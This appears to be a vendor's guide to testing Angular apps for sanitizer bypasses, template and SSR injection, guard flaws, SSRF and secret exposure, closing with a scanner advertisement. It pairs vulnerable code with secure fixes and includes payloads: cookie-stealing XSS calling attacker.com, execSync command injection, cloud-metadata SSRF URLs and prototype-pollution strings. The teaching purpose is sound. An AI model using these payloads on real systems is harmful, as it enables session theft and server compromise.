Angular Security Testing: DomSanitizer Bypasses, Guard Race Conditions, and SSR Injection
Angular ships with more built-in security machinery than most web frameworks — a context-aware HTML sanitizer, automatic output encoding in templates, XSRF token handling in HttpClient, and a strict Content Security Policy mode in the CLI. That machinery is genuinely effective. The vulnerability classes that remain are the ones that require developers to explicitly opt out of it, or that emerge from Angular's own architectural complexity: lazy-loaded module guards, Angular Universal's server-side execution context, and the JIT compiler's template evaluation engine.
This guide covers the security issues that matter most when testing Angular applications — where they surface in the codebase, how to identify them during code review, and the specific payloads to use during active testing. It applies to Angular 14 through current versions; Angular.js (AngularJS 1.x) is a separate, older framework with a different threat model and is not covered here.
DomSanitizer Bypass (bypassSecurityTrust*)
Angular's template compiler automatically sanitizes dynamic values before inserting them into the DOM. The sanitization context is determined by where the value appears: HTML content, URL bindings, resource URLs (such as src attributes on <script> and <iframe>), and inline styles all use different sanitization rules. This system works well — until a developer explicitly disables it.
The DomSanitizer service exposes a family of methods prefixed with bypassSecurityTrust that mark a value as trusted, instructing Angular to insert it into the DOM without sanitization. These methods exist for legitimate use cases — rendering server-generated HTML in a rich-text editor, loading dynamic stylesheets, constructing blob: URLs for file downloads — but they are frequently applied too broadly, accepting arbitrary user input as trusted.
// VULNERABLE — user-controlled HTML inserted without sanitization
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
template: `<div [innerHTML]="safeContent"></div>`
})
export class RichTextComponent {
safeContent: SafeHtml;
constructor(private sanitizer: DomSanitizer) {}
renderUserContent(userHtml: string) {
// Developer intended to allow rich formatting — bypasses all sanitization
this.safeContent = this.sanitizer.bypassSecurityTrustHtml(userHtml);
}
}
// VULNERABLE — resource URL bypass enables loading external scripts
@Component({
template: `<iframe [src]="trustedUrl"></iframe>`
})
export class EmbedComponent {
trustedUrl: SafeResourceUrl;
loadEmbed(userUrl: string) {
// Any URL, including javascript: or data: schemes, is trusted
this.trustedUrl = this.sanitizer.bypassSecurityTrustResourceUrl(userUrl);
}
}
// VULNERABLE — style bypass enables CSS injection
@Component({
template: `<div [style]="trustedStyle"></div>`
})
export class ThemedComponent {
trustedStyle: SafeStyle;
applyTheme(cssFromApi: string) {
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle(cssFromApi);
}
}
XSS Payloads Against bypassSecurityTrustHtml
When bypassSecurityTrustHtml is in the path, standard HTML XSS payloads work without modification. Angular's sanitizer is not involved:
<!-- Basic script injection -->
<script>alert(document.domain)</script>
<!-- Event handler injection -->
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload="navigator.sendBeacon('https://attacker.com',document.cookie)">
<!-- HTML5 vectors -->
<details open ontoggle="alert(1)">
<video src=x onerror="alert(1)">
<input autofocus onfocus="alert(1)">
<!-- iframe-based data exfiltration -->
<iframe srcdoc="<script>parent.postMessage(document.cookie,'*')</script>">
<!-- bypassSecurityTrustUrl: javascript: URI -->
javascript:fetch('https://attacker.com/?c='+document.cookie)
<!-- bypassSecurityTrustStyle: CSS exfiltration -->
background-image: url('https://attacker.com/?c='+document.cookie);
expression(alert(1)) /* IE legacy, less relevant but test in older apps */
Finding bypassSecurityTrust in Codebases
# Find all uses of any bypass method
grep -rn "bypassSecurityTrust" src/ --include="*.ts" --include="*.html"
# Distinguish which bypass method is used
grep -rn "bypassSecurityTrustHtml\|bypassSecurityTrustScript\|bypassSecurityTrustUrl\|bypassSecurityTrustResourceUrl\|bypassSecurityTrustStyle" src/
# Find components with [innerHTML] bindings — these go through sanitizer unless bypassed
grep -rn "\[innerHTML\]" src/ --include="*.html" --include="*.ts"
# Find SafeHtml/SafeUrl types which indicate bypass usage
grep -rn "SafeHtml\|SafeUrl\|SafeResourceUrl\|SafeScript\|SafeStyle" src/ --include="*.ts"
Safe Patterns for Dynamic HTML
Angular's built-in sanitizer handles most rich-text use cases safely. The correct approach is to let Angular sanitize, and only trust sanitized output:
// SECURE — Angular sanitizes automatically via [innerHTML]
// (no bypassSecurityTrust call required)
@Component({
template: `<div [innerHTML]="userContent"></div>`
})
export class SafeRichTextComponent {
// Angular sanitizes userContent before inserting — scripts and
// event handlers are stripped; formatting tags are preserved
userContent = '<b>Bold</b> and <a href="/page">link</a> are OK';
}
// SECURE — sanitize explicitly before trusting, if bypass is truly needed
import { DomSanitizer } from '@angular/platform-browser';
renderTrustedHtml(html: string): SafeHtml {
const sanitized = this.sanitizer.sanitize(SecurityContext.HTML, html);
// Only trust already-sanitized output
return this.sanitizer.bypassSecurityTrustHtml(sanitized ?? '');
}
Template Injection
Angular templates use double-curly-brace interpolation ({{ expression }}) to bind component data to the view. The Angular compiler evaluates these expressions against the component's scope — not against window — which significantly limits the impact compared to AngularJS's $scope injection. However, conditions still exist where template injection can be exploited, particularly in applications using JIT compilation mode or Angular Universal.
JIT Compilation Mode vs AOT
Angular supports two compilation modes. Ahead-of-Time (AOT) compilation — the default in production builds since Angular 9 — compiles templates at build time and ships pre-compiled code to the browser. The template compiler never runs in the browser. Just-in-Time (JIT) compilation compiles templates in the browser at runtime, which means the template compiler is available as a runtime artifact and can be invoked by injected expressions if an application dynamically creates components from user input.
// VULNERABLE — dynamic component creation with user input in JIT mode
import { Component, Input, Compiler, NgModule } from '@angular/core';
@Injectable({ providedIn: 'root' })
export class DynamicTemplateService {
constructor(private compiler: Compiler) {}
createComponentFromInput(userInput: string): ComponentFactory<any> {
// userInput is embedded directly in the template string
const template = `<div>Hello, ${userInput}</div>`;
@Component({ template })
class DynamicComponent {}
@NgModule({ declarations: [DynamicComponent] })
class DynamicModule {}
// Template is compiled at runtime — expressions in userInput execute
const factory = this.compiler.compileModuleAndAllComponentsSync(DynamicModule);
return factory.componentFactories[0];
}
}
// Payload: constructor.constructor('alert(1)')()
// In Angular expression context, this accesses Function constructor
// {{constructor.constructor('fetch("https://attacker.com/?c="+document.cookie)()')()}}
Identifying JIT vs AOT Compilation
Determine which compilation mode an application uses before testing template injection:
# AOT-compiled bundles do NOT include the Angular compiler
# Search the main bundle for the compiler presence
curl -s https://target.com/main.js | grep -c "JitCompiler\|CompileMetadataResolver"
# Returns 0 for AOT builds, >0 for JIT builds
# Check ng build configuration in angular.json
cat angular.json | grep -A5 '"production"' | grep "aot"
# "aot": true indicates AOT (default in production)
# "aot": false or absence indicates JIT
# In browser devtools on a running app — AOT builds won't have:
# ng.platformBrowser.ɵNgModuleFactory (JIT artifact)
# window.getAllAngularRootElements() in older JIT apps
# Check bundle size as heuristic:
# AOT bundles are typically smaller (compiler not included)
# JIT bundles include @angular/compiler (~500KB+ extra)
Angular Universal (SSR) Template Injection
Angular Universal runs server-side rendering in Node.js. If the server constructs Angular template content from request parameters and renders it server-side, template expressions evaluate in the Node.js process — not in a browser sandbox. This is a critical escalation from client-side XSS to server-side code execution:
// VULNERABLE — SSR with user input in template (server-side context)
// server.ts (Angular Universal Express server)
app.get('*', (req, res) => {
const title = req.query.title as string;
// Template assembled with user input — evaluated server-side
const template = `
<app-root></app-root>
<script>window.__TITLE__ = "${title}"</script>
`;
// renderModuleFactory evaluates Angular expressions in Node.js context
renderModuleFactory(AppServerModuleNgFactory, {
document: template,
url: req.url,
}).then(html => res.send(html));
});
// Test payload — Node.js process object is accessible in SSR template injection:
// title="; process.mainModule.require('child_process').execSync('id') //"
HttpClient Security Issues
Angular's HttpClient module provides built-in XSRF/CSRF protection, but the mechanism must be explicitly configured and relies on a server-side cookie being set correctly. Misconfigurations in how HttpClient is set up — or how HTTP interceptors modify outgoing requests — create exploitable security gaps.
Missing or Misconfigured XSRF Token Handling
Angular's XSRF protection reads a cookie named XSRF-TOKEN (by default) and sends its value as an X-XSRF-TOKEN request header. The server must verify this header matches the cookie. This mechanism is disabled by default in Angular 15+ and must be enabled explicitly using withXsrfConfiguration():
// VULNERABLE — XSRF protection omitted in application bootstrap
// app.config.ts (Angular 15+ standalone)
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient()
// No withXsrfConfiguration() — CSRF protection is absent
]
};
// ALSO VULNERABLE — wrong cookie/header name mismatches server expectation
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'csrftoken', // must match what the server sets
headerName: 'X-CSRFToken', // must match what the server reads
})
)
]
};
// SECURE — explicit XSRF configuration matching the backend
export const appConfig: ApplicationConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN',
})
)
]
};
HTTP Interceptors Stripping Security Headers
HTTP interceptors are commonly used to inject Authorization headers, handle token refresh, or log requests. Poorly written interceptors can inadvertently strip security-relevant headers or override CORS credentials settings:
// VULNERABLE — interceptor replaces headers entirely, losing XSRF token
@Injectable()
export class AuthInterceptor implements HttpInterceptor {
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
// setHeaders REPLACES the entire headers object — existing XSRF headers are lost
const authReq = req.clone({
headers: new HttpHeaders({
'Authorization': `Bearer ${this.tokenService.getToken()}`,
'Content-Type': 'application/json',
// X-XSRF-TOKEN that Angular set is now gone
})
});
return next.handle(authReq);
}
}
// SECURE — use setHeaders to ADD rather than replace
const authReq = req.clone({
setHeaders: {
'Authorization': `Bearer ${this.tokenService.getToken()}`
// existing headers including X-XSRF-TOKEN are preserved
}
});
// VULNERABLE — withCredentials: true sent to any origin
@Injectable()
export class CredentialInterceptor implements HttpInterceptor {
intercept(req: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
// Sends cookies to all origins — enables cross-origin cookie theft via CSRF
const credReq = req.clone({ withCredentials: true });
return next.handle(credReq);
}
}
Finding HttpClient Security Issues
# Check for XSRF configuration in Angular module or app.config
grep -rn "withXsrfConfiguration\|HttpClientXsrfModule\|XSRF_COOKIE_NAME\|XSRF_HEADER_NAME" src/
# Find interceptors that replace (not append) headers
grep -rn "new HttpHeaders(" src/ --include="*.ts" | grep -v "append\|set("
# Find global withCredentials usage
grep -rn "withCredentials.*true" src/ --include="*.ts"
# Find interceptors — review each for header manipulation
grep -rn "implements HttpInterceptor" src/ --include="*.ts"
grep -rn "HttpInterceptorFn" src/ --include="*.ts"
Route Guard Bypass
Angular's router supports guards — functions or classes that control whether a route can be activated, a child route entered, or a lazy-loaded module fetched. Guards are the primary access control mechanism for client-side routing, and they have several bypass paths that are frequently exploited.
Async Guard Timing Issues
Guards are asynchronous by nature — they commonly make HTTP calls to verify session state. A race condition exists if a guard emits true before an async operation completes, or if the guard's observable never emits false on error:
// VULNERABLE — guard emits true synchronously before async check completes
@Injectable({ providedIn: 'root' })
export class AuthGuard implements CanActivate {
canActivate(route: ActivatedRouteSnapshot): Observable<boolean> {
return this.authService.checkSession().pipe(
map(session => {
if (session.valid) {
return true;
}
this.router.navigate(['/login']);
return false;
}),
catchError(() => {
// Network error — guard returns true instead of false
// Attacker can trigger a network error to bypass the guard
return of(true); // BUG: should be of(false)
})
);
}
}
// VULNERABLE — guard doesn't handle the case where session$ never emits
canActivate(): Observable<boolean> {
return this.authService.session$.pipe(
filter(s => s !== null), // hangs forever if session$ never emits non-null
map(s => s!.isValid),
take(1)
);
// No timeout — guard can block routing indefinitely or be bypassed
// via timing manipulation
}
CanLoad Guard Bypass via Lazy Modules
CanLoad (deprecated in Angular 15, replaced by CanMatch) prevents the JavaScript bundle for a lazy-loaded module from being downloaded. CanActivate only prevents navigation — the bundle is still fetched. Bypassing a CanActivate guard on a lazy route may still expose the module's JavaScript to inspection:
// Route config — CanActivate does NOT prevent bundle download
const routes: Routes = [
{
path: 'admin',
loadChildren: () => import('./admin/admin.module').then(m => m.AdminModule),
canActivate: [AuthGuard], // only prevents navigation, not fetch
// Missing canLoad/canMatch — bundle is publicly downloadable
}
];
// Test: fetch the lazy module bundle directly without authentication
// 1. Open the app unauthenticated and note the chunk filenames in DevTools
// 2. Fetch: GET /main.chunk.js, /admin-admin-module.js etc.
// Admin UI logic, routes, and potentially hardcoded data is accessible
// SECURE — canMatch prevents both navigation AND bundle download (Angular 15+)
const routes: Routes = [
{
path: 'admin',
loadChildren: () => import('./admin/admin.module').then(m => m.AdminModule),
canMatch: [() => inject(AuthGuard).canMatch()],
}
];
Direct URL Navigation Bypassing Guards
Client-side guards only run when navigation is handled by the Angular router. Deep links entered directly in the browser address bar trigger a full page load — if the server returns the Angular application for any path (common in SPAs), the router then runs guards normally. However, if the server serves different content at those paths (static files, a different application), the guard never runs:
# Test guard bypass by navigating directly to protected routes
# without a valid session cookie
curl -s https://target.com/admin/users \
-H 'Accept: text/html' \
--cookie "" \
| grep -E "<title>|<h1>|dashboard|user.list"
# Test whether the SPA catches direct navigation correctly
# 1. Clear all cookies and local storage
# 2. Navigate directly to https://target.com/admin/users in browser
# 3. Expected: redirect to /login
# 4. If Angular bootstraps and renders admin content: guard bypass
# API endpoints behind the same guard? Test those directly too
curl -s https://target.com/api/admin/users \
-H 'Authorization: ' \
| jq .
Vulnerable Guard Implementation Example
// VULNERABLE — guard checks localStorage, which is trivially manipulated
@Injectable({ providedIn: 'root' })
export class AdminGuard implements CanActivate {
canActivate(): boolean {
// localStorage is writable by any script — not a security control
const role = localStorage.getItem('userRole');
return role === 'admin';
// Bypass: localStorage.setItem('userRole', 'admin') in browser console
}
}
// VULNERABLE — guard trusts a JWT's payload without signature verification
canActivate(): boolean {
const token = localStorage.getItem('token');
if (!token) return false;
const payload = JSON.parse(atob(token.split('.')[1]));
// No signature verification — attacker constructs a JWT with role=admin
return payload.role === 'admin';
}
// SECURE — guard verifies session server-side
canActivate(): Observable<boolean | UrlTree> {
return this.http.get<{role: string}>('/api/me', { withCredentials: true }).pipe(
map(user => user.role === 'admin' ? true : this.router.parseUrl('/403')),
catchError(() => of(this.router.parseUrl('/login')))
);
}
Angular Material and Third-Party Component XSS
Angular's template compiler automatically encodes interpolated values — text inside {{ }} is always HTML-escaped. The [innerHTML] property binding is different: Angular sanitizes the value through its HTML sanitizer before inserting it, which strips <script> tags and event handler attributes. However, the sanitizer is not a full-featured DOMPurify — certain vectors survive it, and Angular Material components add their own innerHTML usage patterns.
[innerHTML] Binding vs Interpolation
<!-- Interpolation — user input HTML-encoded, XSS safe -->
<p>{{ userInput }}</p>
<!-- If userInput = "<script>alert(1)</script>"
Rendered as: <script>alert(1)</script> -->
<!-- [innerHTML] binding — Angular sanitizes HTML, scripts stripped -->
<div [innerHTML]="userInput"></div>
<!-- If userInput = "<b>Bold</b><script>alert(1)</script>"
Rendered as: <b>Bold</b> (script tag removed) -->
<!-- bypassSecurityTrustHtml — NO sanitization -->
<div [innerHTML]="trustedHtml"></div>
<!-- where trustedHtml = sanitizer.bypassSecurityTrustHtml(userInput)
Rendered as-is including scripts and event handlers -->
Angular Material Component XSS Vectors
Angular Material components that render arbitrary HTML — tooltip content, dialog content, and snackbar messages — have historically been vectors for XSS when application code bypassed sanitization before passing data to these components:
// VULNERABLE — tooltip rendered with bypassed HTML
import { MatTooltip } from '@angular/material/tooltip';
@Component({
template: `<span [matTooltip]="tooltipHtml" [matTooltipClass]="'html-tooltip'">
Hover me
</span>`
})
export class TooltipComponent {
// MatTooltip renders plain text by default — safe
// But custom tooltip overlays that use innerHTML need careful review
tooltipHtml = 'Safe text';
}
// VULNERABLE — custom rich tooltip with innerHTML bypass
@Component({
template: `
<div class="tooltip-content" [innerHTML]="richTooltipContent"></div>
`
})
export class RichTooltipComponent {
@Input() set content(val: string) {
// Bypass applied assuming server-side sanitization was done — never assume this
this.richTooltipContent = this.sanitizer.bypassSecurityTrustHtml(val);
}
richTooltipContent: SafeHtml = '';
}
// Test: pass XSS payloads through any Input() that feeds into innerHTML
// Look for component @Input() properties named content, html, body, message, description
# Find Angular Material components using innerHTML
grep -rn "matTooltip\|MatDialog\|MatSnackBar\|MatMenu" src/ --include="*.ts" --include="*.html" \
| grep -i "html\|safe\|bypass\|innerHTML"
# Find @Input() properties that feed into sanitizer bypass
grep -rn "@Input()" src/ -A3 --include="*.ts" | grep -B1 "bypassSecurityTrust"
Angular Universal (SSR) SSRF and Injection
Angular Universal renders Angular applications server-side in Node.js using a platform-server implementation. The server context has access to the full Node.js API and network stack — making any injection or SSRF in the SSR layer significantly more dangerous than the equivalent client-side issue.
HttpClient Calls in Server Context with User Input
// VULNERABLE — SSR server makes HTTP requests based on user-controlled URL parameters
// server.ts
app.get('/api/preview', async (req, res) => {
const { url } = req.query;
// Angular Universal app renders content fetched from user-supplied URL
// This runs in Node.js — can reach internal services, cloud metadata, etc.
const previewData = await firstValueFrom(
this.http.get(url as string) // no validation
);
res.json(previewData);
});
// SSRF payloads for Angular Universal server context:
// http://169.254.169.254/latest/meta-data/iam/security-credentials/
// http://localhost:8080/admin/metrics
// http://internal-db-server:5432/
// file:///etc/passwd (if http client supports file: scheme)
// http://[::1]:6379/ (Redis without auth)
TransferState Poisoning
TransferState is Angular Universal's mechanism for passing server-side data to the client without duplicate HTTP requests — the server fetches data, stores it in a <script> block in the HTML, and the client reads it on bootstrap. If an attacker can influence what goes into TransferState, they can inject data that appears trustworthy to the client:
// VULNERABLE — TransferState key includes user input without sanitization
import { TransferState, makeStateKey } from '@angular/core';
@Component({...})
export class ProductComponent implements OnInit {
constructor(
private transferState: TransferState,
private http: HttpClient,
private route: ActivatedRoute
) {}
async ngOnInit() {
const productId = this.route.snapshot.paramMap.get('id');
const key = makeStateKey<Product>(`product-${productId}`);
if (this.transferState.hasKey(key)) {
// Client reads from TransferState — if poisoned server-side, client trusts it
this.product = this.transferState.get(key, null);
} else {
// Server-side: fetch and store
const data = await firstValueFrom(
this.http.get<Product>(`/api/products/${productId}`)
);
this.transferState.set(key, data);
}
}
}
// TransferState is rendered into HTML as:
// <script id="ng-state" type="application/json">{"product-123": {...}}</script>
// If the API response contains HTML/script content, and the client
// renders it via innerHTML or bypassSecurityTrustHtml, XSS follows
Server-Side Rendering Injection via Request Parameters
# Test SSR injection by injecting payloads into URL params rendered server-side
# Check if the SSR output reflects the payload
curl -s "https://target.com/page?title=<script>alert(1)</script>" \
| grep -i "script\|alert"
# Test for template injection in SSR context
curl -s "https://target.com/page?name={{7*7}}" \
| grep "49" # if rendered, template injection confirmed
# Test SSRF via SSR HTTP client calls
curl -s "https://target.com/api/preview?url=http://169.254.169.254/latest/meta-data/"
# Check TransferState contents in server-rendered HTML
curl -s "https://target.com/product/1" \
| python3 -c "
import sys, json, re
html = sys.stdin.read()
m = re.search(r'id=\"ng-state\"[^>]*>(.*?)</script>', html, re.S)
if m:
data = json.loads(m.group(1))
print(json.dumps(data, indent=2))
"
Source Map and Bundle Analysis
Angular's build system can emit source maps — files that map the compiled, minified JavaScript back to the original TypeScript source. In development builds, source maps are generated by default and are essential for debugging. In production builds, they should either be disabled or served only to authenticated internal users. Exposed source maps give attackers access to your full application source code.
Source Map Exposure in Production
# Check if source maps are publicly accessible in production
# Angular emits main.js.map, polyfills.js.map, chunk files, etc.
# Get main bundle URL from the app
curl -s https://target.com/ | grep -oE '"/main\.[a-f0-9]+\.js"' | head -1
# Result: "/main.abc123def456.js"
# Check if the .map file exists
curl -I https://target.com/main.abc123def456.js.map
# HTTP 200 = source maps are exposed
# HTTP 404 = source maps are properly excluded
# Download and inspect source map
curl -s https://target.com/main.abc123def456.js.map \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
print('Sources:')
for s in data.get('sources', [])[:20]:
print(' ', s)
print('...')
"
# Extract original source from source map
npm install -g source-map-explorer
source-map-explorer main.abc123def456.js main.abc123def456.js.map
# Grep extracted source for secrets
curl -s https://target.com/main.abc123def456.js.map | python3 -c "
import sys, json, re
data = json.load(sys.stdin)
for content in data.get('sourcesContent', []):
if content and re.search(r'api[Kk]ey|apiKey|password|secret|token|PRIVATE', content):
print(content[:500])
print('---')
"
Angular CLI Build Configuration
// angular.json — INSECURE production configuration
"configurations": {
"production": {
"optimization": true,
"outputHashing": "all",
"sourceMap": true, // generates .map files alongside bundles
"namedChunks": false,
"extractLicenses": true,
"vendorChunk": false
}
}
// angular.json — SECURE production configuration
"configurations": {
"production": {
"optimization": true,
"outputHashing": "all",
"sourceMap": false, // no .map files emitted
"namedChunks": false,
"extractLicenses": true,
"vendorChunk": false
}
}
// Or generate source maps for internal use only (hidden from public):
"sourceMap": {
"scripts": true,
"styles": false,
"hidden": true // .map files generated but URL not embedded in .js files
}
Angular CLI Configuration Security
Angular applications use environment.ts files to store per-environment configuration values. These files are TypeScript modules that get compiled into the bundle — anything in them becomes part of the client-side JavaScript delivered to every user. Developers frequently place API keys, OAuth client IDs, analytics tokens, and service endpoint URLs in environment files, sometimes including credentials that should never reach the browser.
Exposed API Keys in Angular Environment Files
// src/environments/environment.prod.ts — DANGEROUS
export const environment = {
production: true,
apiUrl: 'https://api.example.com', // OK — not a secret
googleAnalyticsId: 'GA-XXXX-1', // OK — intended to be public
stripePublishableKey: 'pk_live_abc123', // OK — publishable key
// DANGEROUS — these should NEVER be in environment.ts
stripeSecretKey: 'sk_live_xyz789', // full access to Stripe account
sendgridApiKey: 'SG.xxxxx.yyyyy', // send emails as your domain
awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE', // AWS API access
awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG', // IAM credential
googleServiceAccountKey: '{"type":"service_account",...}',
twilioAuthToken: 'ACa1b2c3d4e5f6g7h8i9j0k',
openaiApiKey: 'sk-proj-...', // LLM API access
};
Finding Exposed Keys in Angular Bundles
# Grep the compiled bundle for common secret patterns
curl -s https://target.com/main.abc123.js | grep -oE \
'sk_live_[A-Za-z0-9]{24}|sk_prod_[A-Za-z0-9]+|SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43}|AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z_-]{35}|ghp_[A-Za-z0-9]{36}|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'
# Search for common key patterns across all loaded JS chunks
for chunk in $(curl -s https://target.com/ | grep -oE '"/[a-z0-9.-]+\.js"' | tr -d '"'); do
result=$(curl -s "https://target.com$chunk" | grep -oE 'apiKey|secretKey|authToken|api_key|secret|password' | head -3)
[ -n "$result" ] && echo "$chunk: $result"
done
# Check environment object in minified bundle
curl -s https://target.com/main.abc123.js \
| grep -oE '\{production:!0,[^}]{20,500}\}' | head -3
# Grep Angular environment source files if you have code access
grep -rn "environment\." src/environments/ --include="*.ts" \
| grep -iE "key|secret|token|password|credential" | grep -v "//.*key"
Prototype Pollution in Angular Applications
Prototype pollution is a JavaScript vulnerability where an attacker can modify Object.prototype, causing properties to appear on all subsequently created objects. In Angular applications, it surfaces most commonly in utility services that merge configuration objects, in @Input() bindings that spread untrusted objects, and in libraries used for deep merging or query string parsing.
Merging Objects in Angular Services
// VULNERABLE — lodash _.merge with user-controlled object
import * as _ from 'lodash';
@Injectable({ providedIn: 'root' })
export class ConfigService {
private config: Record<string, any> = { debug: false, theme: 'dark' };
applyUserPreferences(userPrefs: Record<string, any>) {
// If userPrefs = {"__proto__": {"isAdmin": true}}
// _.merge pollutes Object.prototype.isAdmin = true for ALL objects
_.merge(this.config, userPrefs);
}
}
// After prototype pollution:
const obj = {};
console.log(obj.isAdmin); // true — every object inherits isAdmin
// Angular guards checking obj.role or obj.permissions may be bypassed
// SECURE — use structuredClone or manual property copying
applyUserPreferences(userPrefs: Record<string, any>) {
const allowedKeys = new Set(['theme', 'language', 'notifications']);
const safe: Record<string, any> = {};
for (const [key, value] of Object.entries(userPrefs)) {
if (allowedKeys.has(key)) {
safe[key] = value;
}
}
Object.assign(this.config, safe);
}
Component Input() Binding with Untrusted Objects
// VULNERABLE — @Input() spreads full query params object into component state
@Component({ template: '...' })
export class SearchComponent implements OnInit {
@Input() filters: Record<string, any> = {};
results: any[] = [];
constructor(private route: ActivatedRoute, private searchService: SearchService) {}
ngOnInit() {
this.route.queryParams.subscribe(params => {
// params comes from URL query string — attacker controlled
Object.assign(this.filters, params); // prototype pollution possible
this.searchService.search(this.filters);
});
}
}
// Test: GET /search?__proto__[admin]=true&__proto__[role]=superuser
// Or using constructor.prototype:
// GET /search?constructor[prototype][isAdmin]=true
// Prototype pollution test payloads (URL encoded):
// ?__proto__[polluted]=1
// ?constructor.prototype.polluted=1
// ?__proto__[admin]=true
// Check with: ({}).polluted === 1
Zone.js and Timing Side-Channels
Zone.js, Angular's change detection mechanism, patches browser APIs including setTimeout, Promise, XMLHttpRequest, and fetch. This patching creates measurable timing differences that can be exploited in timing attacks — determining whether a user is logged in, whether a specific resource exists, or enumerating user accounts based on response time differences:
# Zone.js timing side-channel test
# Compare response times for valid vs invalid user IDs
for i in {1..5}; do
curl -w "%{time_total}\n" -o /dev/null -s https://target.com/api/users/1
done
for i in {1..5}; do
curl -w "%{time_total}\n" -o /dev/null -s https://target.com/api/users/99999
done
# Consistent difference > 10ms may indicate user enumeration via timing
Security Testing Methodology
Angular applications have a distinct attack surface that requires Angular-aware testing techniques. Standard web application scanning tools miss the framework-specific issues covered in this guide — DomSanitizer bypass patterns, guard logic, and SSR injection require understanding Angular's architecture.
Angular DevTools and ng.probe() in Development Mode
Angular development builds expose a rich set of debugging APIs through window.ng that are invaluable during security testing. Production builds compiled with --configuration=production remove these APIs:
# In browser DevTools console on an Angular app (dev mode):
# Check if Angular debug tools are available
typeof ng !== 'undefined' # true = dev mode, false = production
# List all components in the app
ng.getComponent(document.querySelector('app-root'))
# Get a component's state (reveals internal properties, auth state, etc.)
const comp = ng.getComponent(document.querySelector('app-dashboard'));
console.log(comp); # full component instance including private properties
# Access injected services
const injector = ng.getInjector(document.querySelector('app-root'));
const authService = injector.get(ng.getOwningComponent(document.querySelector('app-root')).constructor.ɵfac.deps[0]);
# Trigger Angular's change detection manually (useful for testing guard bypass)
ng.applyChanges(ng.getComponent(document.querySelector('app-root')));
# List all injected services in scope
const ctx = ng.getContext(document.querySelector('app-nav'));
console.log(ctx);
Burp Suite for Angular Applications
# Angular-specific Burp Suite testing approach
# 1. Map API endpoints — Angular apps use JSON APIs exclusively
# Use Burp Spider/Crawler with JavaScript parsing enabled
# Target: any XMLHttpRequest or fetch() calls intercepted in Proxy
# 2. Extract API endpoints from the bundle
curl -s https://target.com/main.abc123.js \
| grep -oE '"/api/[a-zA-Z0-9/_{}?=-]+"' | sort -u
# 3. Test XSRF token handling
# Intercept a state-changing request in Burp
# Remove the X-XSRF-TOKEN header — server should reject with 403
# Change the XSRF token value — server should reject with 403
# If either test returns 200, CSRF protection is absent or broken
# 4. Test route guard bypass
# Use Burp Repeater to replay authenticated API requests without session cookies
# Use Burp Intruder to fuzz route parameters for IDOR
# 5. Test for Angular Universal SSR injection
# Add Angular template expressions to all user-controlled URL parameters
# Payloads: {{7*7}}, {{constructor.constructor('alert(1)')()}}
# If response contains "49", template injection is confirmed
Automated Scanning with Ironimo
Manual testing of Angular applications is time-consuming — finding all bypassSecurityTrust call sites, tracing data flow from @Input() bindings to DOM sinks, and testing every guard configuration requires deep familiarity with the codebase. Ironimo automates this by running professional-grade scanning tools — the same Kali Linux toolkit used by manual pentesters — against your application:
# What Ironimo covers for Angular applications:
# - DomSanitizer bypass detection via static analysis of JS bundles
# - [innerHTML] binding with bypass pattern detection
# - Angular Universal SSR endpoint SSRF scanning
# - HttpClient XSRF configuration validation
# - Source map exposure detection (.js.map file enumeration)
# - Exposed API key patterns in Angular bundles
# - Route guard bypass via direct URL navigation
# - Prototype pollution in Angular services (lodash/object-assign patterns)
# - Nuclei templates specific to Angular CLI and Angular Universal
# - Standard OWASP Top 10 scanning on the API layer
Angular Security Testing Checklist
| Test | What to Look For | Tool / Method |
|---|---|---|
| DomSanitizer bypass | bypassSecurityTrust* with user-controlled input | grep codebase, XSS payloads via affected inputs |
| [innerHTML] binding | Dynamic HTML insertion — check for bypass in chain | grep for [innerHTML], trace data to sanitizer |
| Template injection (JIT) | Dynamic component creation with user input | Check for JIT mode, payload {{7*7}} |
| SSR SSRF | HttpClient calls in server context using request params | Cloud metadata payloads, internal service URLs |
| Route guard bypass | Async errors returning true, localStorage trust | Direct navigation, cookie removal, dev console |
| XSRF protection | Missing withXsrfConfiguration, interceptor header stripping | Remove X-XSRF-TOKEN header, check 403 response |
| Source maps exposed | .js.map files publicly accessible in production | Fetch main.js.map, check HTTP 200/404 |
| API keys in bundle | Secrets in environment.ts compiled into JS | grep bundle for key patterns, source-map-explorer |
| CanLoad vs CanActivate | Lazy module bundles fetchable without auth | Fetch chunk files directly without auth cookies |
| Prototype pollution | lodash merge / Object.assign with user params | ?__proto__[polluted]=1 query params |
| TransferState poisoning | SSR TransferState with unsanitized API data | Inspect ng-state script tag, check for HTML in values |
| Dev mode exposure | Production build still exposes ng debug APIs | typeof ng !== 'undefined' in browser console |
Angular applications have unique attack surfaces — DomSanitizer bypasses, guard race conditions, and SSR injection that standard scanners miss. Ironimo uses professional pentesting tools to find these issues automatically, giving your team the same coverage a manual security review provides, without scheduling a months-long engagement.
Start free scan